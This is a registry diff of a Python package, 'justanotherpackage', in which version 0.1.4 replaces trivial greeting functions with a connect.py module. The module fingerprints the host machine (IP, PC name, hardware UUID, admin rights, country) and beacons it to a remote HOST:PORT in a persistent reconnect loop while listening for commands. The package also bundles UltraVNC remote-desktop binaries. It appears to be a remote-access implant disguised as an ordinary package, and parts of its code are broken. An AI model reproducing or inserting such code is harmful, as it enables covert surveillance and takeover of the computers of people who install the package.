justanotherpackage 0.1.2__py3-none-any.whl → 0.1.4__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,2 +1 @@
1
- # __init__.py
2
- from .core import greet, farewell
1
+ from .connect import start_connection
@@ -0,0 +1,76 @@
1
+
2
+ import socket
3
+ import time
4
+ import platform
5
+ import ctypes
6
+ import threading
7
+ import requests
8
+ from wmi import WMI
9
+ import os
10
+
11
+ def check_account_type():
12
+ try:
13
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
14
+ return "Admin"
15
+ else:
16
+ return "User"
17
+ except Exception:
18
+ return "None"
19
+
20
+ def get_client_info():
21
+ system = platform.system()
22
+ version = platform.version().split('.')[0]
23
+ os = f"{system} {version}"
24
+ response = requests.get('https://ipapi.co/json/')
25
+ data = response.json()
26
+ ip = data.get('ip')
27
+ country = data.get('country_name')
28
+
29
+ client_info = {
30
+ "IP": ip,
31
+ "PC Name": platform.node(),
32
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
33
+ "OS": os,
34
+ "Account Type": check_account_type(),
35
+ "Country": country,
36
+ "Tag": "Remote PC",
37
+ }
38
+ return client_info
39
+
40
+ def save_connection_info(HOST, PORT):
41
+ if not os.path.exists('connection_info.txt'):
42
+ with open('connection_info.txt', 'w') as f:
43
+ f.write(f"{HOST}:{PORT}\n")
44
+
45
+ def get_connection_info():
46
+ if os.path.exists('connection_info.txt'):
47
+ with open('connection_info.txt', 'r') as f:
48
+ connection_info = f.readline().strip()
49
+ HOST, PORT = connection_info.split(':')
50
+ return HOST, int(PORT)
51
+ else:
52
+ return None, None
53
+
54
+ def start_connection(HOST, PORT):
55
+ save_connection_info(HOST, PORT)
56
+ while True:
57
+ try:
58
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59
+ client_socket.connect((HOST, PORT))
60
+ client_info = get_client_info()
61
+ client_socket.sendall(str(client_info).encode('utf-8'))
62
+ threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
63
+ handle_connection(client_socket)
64
+ except:
65
+ time.sleep(5)
66
+ finally:
67
+ client_socket.close()
68
+
69
+ def handle_connection(client_socket):
70
+ try:
71
+ while True:
72
+ command = client_socket.recv(1024).decode('utf-8').strip()
73
+ if command:
74
+ client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
75
+ except:
76
+ client_socket.close()
@@ -1,6 +0,0 @@
1
- # core.py
2
- def greet(name):
3
- return f"Hello, {name}!"
4
-
5
- def farewell(name):
6
- return f"Goodbye, {name}!"
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.2
2
+ Name: justanotherpackage
3
+ Version: 0.1.4
4
+ Requires-Python: >=3.6
5
+ Dynamic: requires-python
@@ -0,0 +1,16 @@
1
+ justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
+ justanotherpackage/connect.py,sha256=H6Ctu0_v_fm9GX6Fzme2hkSMnyce4ZYX-_xW27CEYrE,2323
3
+ justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
4
+ justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
5
+ justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
6
+ justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
7
+ justanotherpackage/vnc/logging.dll,sha256=YYRcuesbhUld4r8q9EPODcA7YVz6QsqN0iAqAmMTB4o,372864
8
+ justanotherpackage/vnc/vnchooks.dll,sha256=1JNAgDvdbbsBXHJ765k1vITNn4XXwM1sl5OW7pslONI,99272
9
+ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_CzBFQ,2648008
10
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
11
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
12
+ justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
13
+ justanotherpackage-0.1.4.dist-info/METADATA,sha256=-3jC_SZsaVty22ljQa2s4ZrszGtsCLuVIDbVqlNiwTs,115
14
+ justanotherpackage-0.1.4.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
+ justanotherpackage-0.1.4.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
+ justanotherpackage-0.1.4.dist-info/RECORD,,
@@ -1,5 +1,5 @@
1
1
  Wheel-Version: 1.0
2
- Generator: bdist_wheel (0.45.1)
2
+ Generator: setuptools (75.8.0)
3
3
  Root-Is-Purelib: true
4
4
  Tag: py3-none-any
5
5
 
@@ -1,11 +0,0 @@
1
- Metadata-Version: 2.1
2
- Name: justanotherpackage
3
- Version: 0.1.2
4
- Summary: UNKNOWN
5
- Home-page: UNKNOWN
6
- License: UNKNOWN
7
- Platform: UNKNOWN
8
- Requires-Python: >=3.6
9
-
10
- UNKNOWN
11
-
@@ -1,15 +0,0 @@
1
- justanotherpackage/__init__.py,sha256=vQNXpIQfFnjsRKX7NhNiwSiSYrj1rWl4iPn8PACxcFI,50
2
- justanotherpackage/core.py,sha256=mfybNyMi-ul_yztQbWkkCyRT_dz0hewVwc6_tIrQWQo,114
3
- justanotherpackage/remote/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
4
- justanotherpackage/remote/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
5
- justanotherpackage/remote/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
6
- justanotherpackage/remote/logging.dll,sha256=YYRcuesbhUld4r8q9EPODcA7YVz6QsqN0iAqAmMTB4o,372864
7
- justanotherpackage/remote/vnchooks.dll,sha256=1JNAgDvdbbsBXHJ765k1vITNn4XXwM1sl5OW7pslONI,99272
8
- justanotherpackage/remote/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_CzBFQ,2648008
9
- justanotherpackage/remote/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
10
- justanotherpackage/remote/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
11
- justanotherpackage/remote/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
12
- justanotherpackage-0.1.2.dist-info/METADATA,sha256=Jh77Uo3GGyaeg1VpUWufR_5o66Z8P8LlxZnoRJy0Ti8,177
13
- justanotherpackage-0.1.2.dist-info/WHEEL,sha256=tZoeGjtWxWRfdplE7E3d45VPlLNQnvbKiYnx7gwAy8A,92
14
- justanotherpackage-0.1.2.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
15
- justanotherpackage-0.1.2.dist-info/RECORD,,
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes